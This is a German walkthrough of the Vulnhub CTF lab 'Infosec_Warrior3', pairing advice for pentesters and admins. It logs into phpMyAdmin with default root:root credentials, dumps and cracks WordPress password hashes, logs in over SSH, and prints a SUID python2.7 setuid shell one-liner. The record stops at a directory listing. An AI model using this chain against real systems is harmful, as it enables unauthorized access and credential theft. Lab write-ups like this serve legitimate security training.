Infosec_Warrior3 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wfuzz
curl
Burp Suite
cat
grep
ssh
find
sudo
rpm
id
ls
cd

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und der ersten Erkundung offener Dienste.

┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.110	08:00:27:40:b2:8c	PCS Systemtechnik GmbH
                     

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host wird unter der IP-Adresse `192.168.2.110` und der MAC-Adresse `08:00:27:40:b2:8c` (zugehörig zu PCS Systemtechnik GmbH, typisch für VirtualBox) entdeckt.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.110` wird für weitere Scans verwendet.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Fügen Sie die IP-Adresse und einen passenden Hostnamen (sobald bekannt) zur lokalen `/etc/hosts`-Datei hinzu.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen. Segmentierung kann die Reichweite solcher Scans begrenzen.

┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
 192.168.2.110   infosecwarrior.vln
                    

**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.110` dem Hostnamen `infosecwarrior.vln` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `infosecwarrior.vln` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `infosecwarrior.vln` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 23:37 CEST
Nmap scan report for infosecwarrior.vln (192.168.2.110)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d8ad481627f8cc993a2fdbc1a9d53ad1 (RSA)
|   256 5106ab7861f54c03a08f0127f91751e7 (ECDSA)
|_  256 d56358ba2ad5d217cb631234d6cdb6b9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.3.2
|_http-title: TEST WPDPRESS – Just another WordPress site
MAC Address: 08:00:27:40:B2:8C (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms infosecwarrior.vln (192.168.2.110)
                    

**Analyse:** Der Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) auf alle TCP-Ports von `192.168.2.110` zeigt zwei offene Ports: * **Port 22 (SSH):** OpenSSH 7.6p1 auf Ubuntu. Standard-SSH-Dienst mit modernen Hostkeys. * **Port 80 (HTTP):** Apache 2.4.29 auf Ubuntu. Das Nmap-Skript (`-sC`) identifiziert eine WordPress-Installation (`http-generator: WordPress 5.3.2`) und den Seitentitel. Das Betriebssystem wird als Linux (Kernel 4.15 - 5.6) erkannt.

**Bewertung:** Die Angriffsfläche besteht aus SSH und einer WordPress-Website. Die WordPress-Version 5.3.2 ist bekannt für mehrere Schwachstellen, insbesondere wenn sie nicht auf dem neuesten Patch-Level (5.3.x) ist und wenn anfällige Plugins/Themes verwendet werden. Die Apache-Version 2.4.29 ist ebenfalls nicht aktuell.

**Empfehlung (Pentester):** 1. Führen Sie einen detaillierten WordPress-Scan mit `wpscan` durch, um Plugins, Themes, Benutzer und spezifische Schwachstellen zu identifizieren. 2. Untersuchen Sie die Website manuell. 3. Behalten Sie SSH als Ziel für gefundene Zugangsdaten.
**Empfehlung (Admin):** 1. Aktualisieren Sie WordPress, alle Plugins und Themes *dringend*. 2. Aktualisieren Sie Apache und das Betriebssystem. 3. Sichern Sie den SSH-Dienst (starke Passwörter/Schlüssel, Fail2Ban).

Web Enumeration

Wir fokussieren uns auf die Enumeration des Webservers auf Port 80, insbesondere der identifizierten WordPress-Installation.

┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.110
- Nikto v2.5.0

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". 
+ /: The X-Content-Type-Options header is not set.
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54).
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /phpMyAdmin/changelog.php: Cookie goto created without the httponly flag.
+ /phpMyAdmin/changelog.php: Cookie back created without the httponly flag.
+ /phpMyAdmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wp-login.php: Wordpress login found.
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 1 host(s) tested
                    

**Analyse:** Der Nikto-Scan (`nikto -h 192.168.2.110`) liefert weitere Details: * Bestätigt Apache 2.4.29, fehlende Sicherheitsheader. * Bestätigt die WordPress-Installation (`/`, `/wp-content/plugins/akismet/readme.txt`, `/wp-links-opml.php`, `/wp-login.php`, `license.txt`). * **Wichtiger Fund:** Entdeckt ein `/phpMyAdmin/`-Verzeichnis. PhpMyAdmin ist eine webbasierte MySQL-Verwaltungsoberfläche. * Findet verschiedene Cookies ohne `httponly`-Flag (auf phpMyAdmin- und WordPress-Seiten). * Findet die Apache-Standarddatei `/icons/README`.

**Bewertung:** Der wichtigste neue Fund ist phpMyAdmin. Wenn dies zugänglich ist und Standard- oder schwache Zugangsdaten verwendet, bietet es direkten Datenbankzugriff, was oft zu WordPress-Admin-Zugang oder weiteren Informationen führt. WordPress selbst bleibt ein Hauptziel.

**Empfehlung (Pentester):** 1. Versuchen Sie, auf `/phpMyAdmin/` zuzugreifen. Testen Sie Standard-Zugangsdaten (`root:root`, `admin:admin`, `pma:pma` etc.) oder suchen Sie nach Hinweisen auf Zugangsdaten. 2. Führen Sie `wpscan` auf `/` (oder `/wordpress/`, falls Nmap/Nikto das Verzeichnis falsch interpretiert haben) aus. 3. Führen Sie Gobuster/Dirb durch, um weitere Dateien/Verzeichnisse zu finden.
**Empfehlung (Admin):** 1. Sichern Sie phpMyAdmin *dringend* (starke Passwörter, Zugriff auf vertrauenswürdige IPs beschränken, idealerweise über einen Webserver-Passwortschutz zusätzlich absichern) oder entfernen Sie es, wenn es nicht benötigt wird. 2. Beheben Sie die fehlenden Header und Cookie-Flags. Aktualisieren Sie Apache. 3. Aktualisieren Sie WordPress.

┌──(root㉿cycat)-[~]
└─# gobuster dir -u http://infosecwarrior.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://infosecwarrior.vln/index.php            (Status: 301) [Size: 0] [--> http://infosecwarrior.vln/]
http://infosecwarrior.vln/wp-content           (Status: 301) [Size: 329] [--> http://infosecwarrior.vln/wp-content/]
http://infosecwarrior.vln/wp-login.php         (Status: 200) [Size: 4748]
http://infosecwarrior.vln/license.txt          (Status: 200) [Size: 19935]
http://infosecwarrior.vln/wp-includes          (Status: 301) [Size: 330] [--> http://infosecwarrior.vln/wp-includes/]
http://infosecwarrior.vln/readme.html          (Status: 200) [Size: 7368]
http://infosecwarrior.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://infosecwarrior.vln/wp-admin             (Status: 301) [Size: 327] [--> http://infosecwarrior.vln/wp-admin/]
                    

**Analyse:** Gobuster (`gobuster dir -u http://infosecwarrior.vln ...`) wird auf das Wurzelverzeichnis angesetzt. Es findet die typischen WordPress-Verzeichnisse (`/wp-content`, `/wp-includes`, `/wp-admin`) und Dateien (`index.php`, `wp-login.php`, `license.txt`, `readme.html`, `wp-trackback.php`). Es findet *nicht* `/phpMyAdmin`, was darauf hindeutet, dass es entweder nicht im Web-Root liegt oder nicht in der verwendeten Wortliste enthalten ist (obwohl es unwahrscheinlich ist, dass `phpMyAdmin` in `directory-list-2.3-medium.txt` fehlt).

**Bewertung:** Bestätigt die WordPress-Struktur. Das Fehlen von phpMyAdmin in diesem Scan ist merkwürdig, da Nikto es gefunden hat. Möglicherweise liegt es in einem Unterverzeichnis oder wurde durch eine Konfiguration verborgen, die Nikto umgehen konnte. WordPress bleibt das Hauptziel.

**Empfehlung (Pentester):** Vertrauen Sie dem Nikto-Fund und versuchen Sie, `/phpMyAdmin/` manuell aufzurufen. Führen Sie `wpscan` aus.
**Empfehlung (Admin):** Stellen Sie sicher, dass administrative Tools wie phpMyAdmin nicht leicht zu finden sind und ordnungsgemäß gesichert werden.

------------------------------------------------------------------------------------------------

http://infosecwarrior.vln/index.php

Hello world!

    Post author

By krishna
------------------------------------------------------------------------------------------------
                    

**Analyse:** Der Pentester hat die Indexseite der WordPress-Installation untersucht. Sie zeigt einen Standard-"Hello world!"-Beitrag, der vom Autor "krishna" verfasst wurde.

**Bewertung:** Dies enthüllt einen gültigen WordPress-Benutzernamen: `krishna`.

**Empfehlung (Pentester):** Verwenden Sie den Benutzernamen `krishna` für Passwort-Brute-Force-Angriffe auf `/wp-login.php` und SSH. Fügen Sie ihn zur Benutzerliste für `wpscan` hinzu.
**Empfehlung (Admin):** Vermeiden Sie es, echte Benutzernamen als Autorennamen anzuzeigen, wenn möglich. Verwenden Sie Aliase oder deaktivieren Sie Autorenarchive.

┌──(root㉿cycat)-[~]
└─# wpscan --url http://infosecwarrior.vln/ -e u --api-token [TOKEN]
_______________________________________________________________
         __          _______   _____
[...]
[+] URL: http://infosecwarrior.vln/ [127.0.0.1] 
[...]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
[...]
[+] XML-RPC seems to be enabled: http://infosecwarrior.vln/xmlrpc.php
[...]
[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] krishna
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] user1
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[...]
[+] Finished: Tue Jul 11 23:42:46 2023
[...]
                    

**Analyse:** Der Befehl `wpscan --url http://infosecwarrior.vln/ -e u ...` scannt die WordPress-Installation im Wurzelverzeichnis auf Benutzer (`-e u`). * Der Scan läuft laut Ausgabe gegen `127.0.0.1`, was widersprüchlich zur `--url`-Option ist - vermutlich ein Anzeigefehler von WPScan oder eine lokale Proxy-Konfiguration. Es wird angenommen, dass das Ziel `http://infosecwarrior.vln/` gescannt wurde. * Bestätigt, dass XML-RPC aktiviert ist. * Enumeriert erfolgreich zwei Benutzer: `krishna` (bestätigt den vorherigen Fund) und `user1`.

**Bewertung:** WPScan liefert zwei Benutzernamen (`krishna`, `user1`), die nun als Ziele für Passwortangriffe dienen können.

**Empfehlung (Pentester):** 1. Versuchen Sie, die Passwörter für `krishna` und `user1` mittels Brute-Force zu knacken (z.B. mit `wpscan --passwords /path/to/rockyou.txt -U krishna,user1` oder Hydra). 2. Führen Sie einen vollständigen WPScan durch (`-e ap,at,vp,vt,u`), um Plugins, Themes und die genaue WP-Version zu identifizieren und nach Schwachstellen zu suchen. 3. Untersuchen Sie weiterhin `/phpMyAdmin/`.
**Empfehlung (Admin):** Verhindern Sie Benutzerenumeration. Sichern Sie alle Benutzerkonten mit starken Passwörtern. Deaktivieren Sie XML-RPC, falls nicht benötigt.

┌──(root㉿cycat)-[~]
└─# dirb http://infosecwarrior.vln
--------------------------------------
DIRB v2.22
By The Dark Raver
--------------------------------------
[...]
---- Scanning URL: http://infosecwarrior.vln/ ----
+ http://infosecwarrior.vln/index.php (CODE:500|SIZE:2646)
> DIRECTORY: http://infosecwarrior.vln/phpMyAdmin/
+ http://infosecwarrior.vln/server-status (CODE:403|SIZE:283)
> DIRECTORY: http://infosecwarrior.vln/wp-admin/
> DIRECTORY: http://infosecwarrior.vln/wp-content/
> DIRECTORY: http://infosecwarrior.vln/wp-includes/
+ http://infosecwarrior.vln/xmlrpc.php (CODE:200|SIZE:0)

---- Entering directory: http://infosecwarrior.vln/phpMyAdmin/ ----
+ http://infosecwarrior.vln/phpMyAdmin/ChangeLog (CODE:200|SIZE:21411)
> DIRECTORY: http://infosecwarrior.vln/phpMyAdmin/doc/
> DIRECTORY: http://infosecwarrior.vln/phpMyAdmin/examples/
+ http://infosecwarrior.vln/phpMyAdmin/favicon.ico (CODE:200|SIZE:22486)
+ http://infosecwarrior.vln/phpMyAdmin/index.php (CODE:200|SIZE:15373)
> DIRECTORY: http://infosecwarrior.vln/phpMyAdmin/js/
[...]
+ http://infosecwarrior.vln/phpMyAdmin/phpinfo.php (CODE:200|SIZE:15375)
[...]
---- Entering directory: http://infosecwarrior.vln/phpMyAdmin/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
[...]
--------------------------------------
END_TIME: Tue Jul 11 23:56:01 2023
DOWNLOADED: 41508 - FOUND: 20
                    

**Analyse:** Ein erneuter `dirb`-Scan wird durchgeführt, diesmal ohne spezifische Filter oder Wortlisten (verwendet `common.txt`). * Bestätigt die WordPress-Struktur und `/xmlrpc.php`. * **Wichtiger Fund:** Findet das `/phpMyAdmin/`-Verzeichnis und listet viele seiner Unterdateien und -verzeichnisse auf, einschließlich `index.php` (Login-Seite) und `phpinfo.php`. * Stellt fest, dass `/phpMyAdmin/setup/lib/` Verzeichnis-Listing aktiviert hat. * Beobachtet, dass viele WordPress-bezogene Anfragen mit Status 500 (Internal Server Error) fehlschlagen (`index.php`, `/wp-admin/admin.php` etc.), was auf die defekte Datenbankverbindung hindeutet.

**Bewertung:** Bestätigt phpMyAdmin als zugängliches Verzeichnis. Die Entdeckung von `phpinfo.php` innerhalb von phpMyAdmin ist ebenfalls interessant, da sie detaillierte Serverkonfigurationen preisgeben kann. Die 500er-Fehler bei WordPress bekräftigen, dass dieser Weg schwierig ist. PhpMyAdmin ist nun der vielversprechendste Angriffsvektor.

**Empfehlung (Pentester):** 1. Greifen Sie auf `http://infosecwarrior.vln/phpMyAdmin/` zu und versuchen Sie, sich mit Standard-Zugangsdaten (`root:root` etc.) anzumelden. 2. Rufen Sie `http://infosecwarrior.vln/phpMyAdmin/phpinfo.php` auf, um Konfigurationsdetails zu sehen. 3. Untersuchen Sie das listenbare Verzeichnis `/phpMyAdmin/setup/lib/`.
**Empfehlung (Admin):** Sichern Sie phpMyAdmin, entfernen Sie `phpinfo.php` und deaktivieren Sie Verzeichnis-Listing. Beheben Sie die Ursache der 500er-Fehler bei WordPress.

------------------------------------------------------------------------------------------------

http://infosecwarrior.vln/phpMyAdmin/index.php
default:
        root:root --> läuft!
------------------------------------------------------------------------------------------------
                    

**Analyse:** Der Pentester hat die Login-Seite von phpMyAdmin (`http://infosecwarrior.vln/phpMyAdmin/index.php`) besucht und erfolgreich die Standard-Zugangsdaten `root`:`root` verwendet.

**Bewertung:** Kritischer Erfolg! Der Zugriff auf phpMyAdmin mit Standard-Root-Zugangsdaten gewährt vollen Zugriff auf alle MySQL-Datenbanken auf dem Server. Dies ist eine sehr häufige, aber schwerwiegende Fehlkonfiguration.

**Empfehlung (Pentester):** 1. Durchsuchen Sie die Datenbanken nach sensiblen Informationen. 2. Konzentrieren Sie sich auf die WordPress-Datenbank (oft `wordpress` oder `wpdb`), insbesondere die `wp_users`-Tabelle, um Benutzer-Passwort-Hashes zu finden. 3. Prüfen Sie, ob Sie über phpMyAdmin Befehle ausführen oder Dateien lesen/schreiben können (manchmal möglich durch spezielle Funktionen oder SQL-Befehle wie `LOAD DATA INFILE` oder `SELECT ... INTO OUTFILE`).
**Empfehlung (Admin):** Ändern Sie *sofort* das MySQL-Root-Passwort und alle anderen Standardpasswörter. Sichern Sie den Zugriff auf phpMyAdmin rigoros. Gewähren Sie Webanwendungen dedizierte Datenbankbenutzer mit minimalen Rechten statt des Root-Benutzers.

http://infosecwarrior.vln/phpMyAdmin/sql.php?db=wpdb&table=wp_users&pos=0

SELECT * FROM `wp_users`
[...] 

+---------+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
| Options | ID         | user_login                         | user_pass                          | user_nicename | user_email            | user_url | user_registered     | user_activation_key | user_status | display_name |
+---------+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
| Edit    | Copy Delete| 1          | krishna                            | $P$B7CNxePWZrtyQSLKyQirMzEGoX87qx1 | krishna       | krishna@localhost.com |          | 2020-03-12 13:42:12 |                     | 0           | krishna      |
| Edit    | Copy Delete| 2          | user1                              | $P$BgpY41TMEIWni3G0aryvshFyq6YFkK. | user1         | user1@localhost.com   |          | 2020-03-16 06:07:48 |                     | 0           | user1        |
+---------+------------+------------------------------------+---------------+-----------------------+----------+---------------------+---------------------+-------------+--------------+
                    

**Analyse:** Innerhalb von phpMyAdmin hat der Pentester die WordPress-Datenbank (`wpdb`, obwohl der Name nicht explizit genannt wird, ist er wahrscheinlich) und die Tabelle `wp_users` ausgewählt und deren Inhalt angezeigt (`SELECT * FROM wp_users`). Die Tabelle enthält die Benutzer `krishna` und `user1` sowie deren Passwort-Hashes im WordPress-eigenen phpass-Format (`$P$B...`).

**Bewertung:** Die Passwort-Hashes der WordPress-Benutzer wurden erfolgreich extrahiert. Diese können nun offline geknackt werden.

**Empfehlung (Pentester):** Kopieren Sie die Hashes (`$P$B7CNxePWZrtyQSLKyQirMzEGoX87qx1` für `krishna` und `$P$BgpY41TMEIWni3G0aryvshFyq6YFkK.` für `user1`) und versuchen Sie, sie mit John the Ripper oder Hashcat und einer Wortliste (z.B. `rockyou.txt`) zu knacken.
**Empfehlung (Admin):** Ändern Sie die Passwörter der WordPress-Benutzer. Verwenden Sie starke Passwörter. Sichern Sie phpMyAdmin.

┌──(root㉿cycat)-[~]
└─# vi hash.txt
$P$B7CNxePWZrtyQSLKyQirMzEGoX87qx1
                    
┌──(root㉿cycat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
------------------------------------------------------------------------------------------------
infosec          (?)
------------------------------------------------------------------------------------------------
1g 0:00:00:39 DONE (2023-07-12 00:03) 0.02541g/s 186310p/s 186310c/s 186310C/s ingenieriac..infeerno_7154
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
                    

**Analyse:** Der Pentester speichert den Hash für den Benutzer `krishna` in `hash.txt` und verwendet John the Ripper (`john --wordlist=... hash.txt`), um ihn zu knacken. John findet erfolgreich das Klartext-Passwort: `infosec`.

**Bewertung:** Das Passwort für den WordPress-Benutzer `krishna` wurde geknackt. Da die `msg.txt` (im nächsten Bericht gefunden, aber hier relevant) besagt, dass System- und WP-Passwörter gleich sind, ist dies wahrscheinlich auch das SSH-Passwort für `krishna`.

**Empfehlung (Pentester):** Versuchen Sie, sich mit `krishna`:`infosec` per SSH anzumelden. Versuchen Sie auch, den Hash für `user1` zu knacken.
**Empfehlung (Admin):** Erzwingen Sie starke Passwörter, die nicht leicht durch Wortlistenangriffe geknackt werden können. Vermeiden Sie Passwort-Wiederverwendung zwischen verschiedenen Diensten (System vs. WordPress).

Initial Access (SSH)

Nachdem das Passwort für den Benutzer `krishna` durch Knacken des WordPress-Hashes ermittelt wurde, versuchen wir nun, uns damit per SSH auf Port 22 anzumelden.

┌──(root㉿cycat)-[~]
└─# ssh krishna@infosecwarrior.vln
krishna@infosecwarrior.vln's password:
krishna@ck05$ id
uid=1001(krishna) gid=1001(krishna) groups=1001(krishna)
krishna@ck05$
                    

**Analyse:** Der Befehl `ssh krishna@infosecwarrior.vln` wird ausgeführt. Nach Eingabe des geknackten Passworts `infosec` ist der Login erfolgreich. Der Pentester erhält eine Shell als Benutzer `krishna`. Der Hostname im Prompt lautet `ck05`. Der `id`-Befehl bestätigt den Benutzerkontext. (Die doppelten Login-Versuche im Original-Log werden hier als ein erfolgreicher Versuch zusammengefasst).

**Bewertung:** Initial Access erfolgreich! Durch den Zugriff auf phpMyAdmin mit Standard-Zugangsdaten, das Extrahieren des WP-Hashes und das Knacken des Hashes konnte eine SSH-Verbindung als Benutzer `krishna` hergestellt werden.

**Empfehlung (Pentester):** Führen Sie lokale Enumeration als `krishna` durch (`sudo -l`, SUID-Suche, Home-Verzeichnis etc.), um Wege zur Privilegieneskalation zu finden.
**Empfehlung (Admin):** Beheben Sie die Kette von Schwachstellen: Standard-MySQL-Passwort, unsichere phpMyAdmin-Konfiguration, schwaches WordPress-Passwort, Passwort-Wiederverwendung zwischen WP und SSH.

Lokale Enumeration

Als Benutzer `krishna` untersuchen wir das System auf Möglichkeiten zur Rechteerweiterung.

krishna@ck05$ sudo -l
Matching Defaults entries for krishna on ck05:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User krishna may run the following commands on ck05:
    (loopspell : ALL) NOPASSWD: /home/loopspell/code_compiler.sh
                    

**Analyse:** Der Befehl `sudo -l` zeigt, dass `krishna` den Befehl `/home/loopspell/code_compiler.sh` als Benutzer `loopspell` ohne Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** Dies ist ein spezifisches `sudo`-Recht, das potenziell für Lateral Movement zum Benutzer `loopspell` oder zur Eskalation missbraucht werden kann, falls das Skript unsicher ist oder `loopspell` höhere Rechte hat.

**Empfehlung (Pentester):** 1. Überprüfen Sie, ob der Benutzer `loopspell` existiert (`ls /home/`). 2. Analysieren Sie das Skript `/home/loopspell/code_compiler.sh` (lesen, wenn möglich, oder durch Ausführung verstehen). 3. Suchen Sie nach Wegen, das Skript auszunutzen, um Code als `loopspell` auszuführen. 4. Führen Sie weitere Enumeration durch (SUID-Suche etc.).
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit und Sicherheit dieser `sudo`-Regel. Stellen Sie sicher, dass das Skript `/home/loopspell/code_compiler.sh` sicher ist und keine beliebige Codeausführung ermöglicht. Gewähren Sie Rechte nach dem Prinzip der geringsten Privilegien.

krishna@ck05$ ls /home/
krishna  loopspell

**Analyse:** Der Befehl `ls /home/` bestätigt die Existenz des Benutzers `loopspell`.

**Bewertung:** Bestätigt das Ziel der `sudo`-Regel.

**Empfehlung (Pentester):** Analysieren Sie das Compiler-Skript.
**Empfehlung (Admin):** Keine spezifische Empfehlung.

krishna@ck05$ find / -type f -perm -4000 -ls 2>/dev/null
     7673    386 -rwsr-xr--   1 root     dip               394984 Jul 23  2020 /snap/core/15511/usr/sbin/pppd
   131339     20 -rwsr-xr-x   1 root     root               18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   148161   3552 -rwsr-xr-x   1 loopspell root             3637096 Nov  7  2019 /usr/bin/python2.7
   130958     44 -rwsr-xr-x   1 root      root               44528 Mar 22  2019 /usr/bin/chsh
   131051     76 -rwsr-xr-x   1 root      root               75824 Mar 22  2019 /usr/bin/gpasswd
   130956     76 -rwsr-xr-x   1 root      root               76496 Mar 22  2019 /usr/bin/chfn
   131160     40 -rwsr-xr-x   1 root      root               37136 Mar 22  2019 /usr/bin/newgidmap
   131303    148 -rwsr-xr-x   1 root      root              149080 Jan 31  2020 /usr/bin/sudo
   131178     60 -rwsr-xr-x   1 root      root               59640 Mar 22  2019 /usr/bin/passwd
   131162     40 -rwsr-xr-x   1 root      root               37136 Mar 22  2019 /usr/bin/newuidmap
   131198     24 -rwsr-xr-x   1 root      root               22520 Mar 27  2019 /usr/bin/pkexec
   131161     40 -rwsr-xr-x   1 root      root               40344 Mar 22  2019 /usr/bin/newgrp
   130905     52 -rwsr-sr-x   1 daemon    daemon             51464 Feb 20  2018 /usr/bin/at
   131524     44 -rwsr-xr--   1 root      messagebus         42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   131531     12 -rwsr-xr-x   1 root      root               10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   131717     16 -rwsr-xr-x   1 root      root               14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   131713    428 -rwsr-xr-x   1 root      root              436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   261151    100 -rwsr-xr-x   1 root      root              100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   137230    108 -rwsr-sr-x   1 root      root              109432 Oct 30  2019 /usr/lib/snapd/snap-confine
                    

**Analyse:** Die SUID-Suche als `krishna` liefert einen sehr interessanten Fund zusätzlich zu den Standard-Binaries und `pkexec`: * `/usr/bin/python2.7`: Ist SUID gesetzt (`-rwsr-xr-x`) und gehört dem Benutzer `loopspell` und der Gruppe `root`.

**Bewertung:** Dies ist ein klarer Weg zur Eskalation zum Benutzer `loopspell`. Da `krishna` diese Datei ausführen kann (`r-x` für others), wird sie mit den Rechten des Besitzers (`loopspell`) ausgeführt. Python 2.7 mit SUID ist leicht auszunutzen, um eine Shell als dieser Benutzer zu erhalten. In Kombination mit der `sudo`-Regel scheint dies der beabsichtigte Pfad zu sein: `krishna` -> `loopspell` (via SUID Python) -> Root (falls `loopspell` Root-Rechte über das Compiler-Skript erlangen kann, was aber unsicher ist) *oder* `krishna` -> PwnKit -> Root. Der Log folgt dem PwnKit-Pfad.

**Empfehlung (Pentester):** Eskalieren Sie zu `loopspell` mit `python2.7 -c 'import os; os.setuid(UID_VON_LOOPSPELL); os.system("/bin/bash")'`. Untersuchen Sie dann die Rechte von `loopspell` oder nutzen Sie den PwnKit-Exploit direkt von `krishna` aus, wie im Log geschehen.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/python2.7` (`chmod u-s /usr/bin/python2.7`). Interpreter sollten niemals SUID-Rechte haben.

krishna@ck05$ cat msg.txt
I configured wordpress for you and make you admin of it.
Your login credentials are same as your system login
credentials.
                    

**Analyse:** Die Datei `msg.txt` (vermutlich in `/home/krishna`) wird angezeigt. Sie bestätigt, dass die WordPress-Zugangsdaten (`krishna:infosec`) identisch mit den System-Login-Daten sind.

**Bewertung:** Bestätigt die Passwort-Wiederverwendung und erklärt, warum der SSH-Login mit den geknackten WP-Daten funktionierte.

**Empfehlung (Pentester):** Zur Kenntnis nehmen.
**Empfehlung (Admin):** Passwort-Wiederverwendung vermeiden und Benutzer entsprechend schulen.

krishna@ck05:/opt$ cd /var/www/html/
krishna@ck05:/var/www/html$ ls -la
total 220
drwxr-xr-x  6 root    root     4096 Mar 12  2020 .
drwxr-xr-x  3 root    root     4096 Mar 16  2020 ..
-rw-r--r--  1 krishna krishna   420 Mar 12  2020 index.php
-rw-r--r--  1 krishna krishna 19935 Mar 12  2020 license.txt
drwxr-xr-x 12 krishna krishna  4096 Mar 12  2020 phpMyAdmin
-rw-r--r--  1 krishna krishna  7368 Mar 12  2020 readme.html
-rw-r--r--  1 krishna krishna  6939 Mar 12  2020 wp-activate.php
drwxr-xr-x  9 krishna krishna  4096 Mar 12  2020 wp-admin
-rw-r--r--  1 krishna krishna   369 Mar 12  2020 wp-blog-header.php
-rw-r--r--  1 krishna krishna  2283 Mar 12  2020 wp-comments-post.php
-rw-r--r--  1 krishna krishna  2866 Mar 12  2020 wp-config.php
drwxr-xr-x  4 krishna krishna  4096 Mar 12  2020 wp-content
-rw-r--r--  1 krishna krishna  3955 Mar 12  2020 wp-cron.php
drwxr-xr-x 20 krishna krishna 12288 Mar 12  2020 wp-includes
-rw-r--r--  1 krishna krishna  2504 Mar 12  2020 wp-links-opml.php
-rw-r--r--  1 krishna krishna  3326 Mar 12  2020 wp-load.php
-rw-r--r--  1 krishna krishna 47597 Mar 12  2020 wp-login.php
-rw-r--r--  1 krishna krishna  8483 Mar 12  2020 wp-mail.php
-rw-r--r--  1 krishna krishna 19120 Mar 12  2020 wp-settings.php
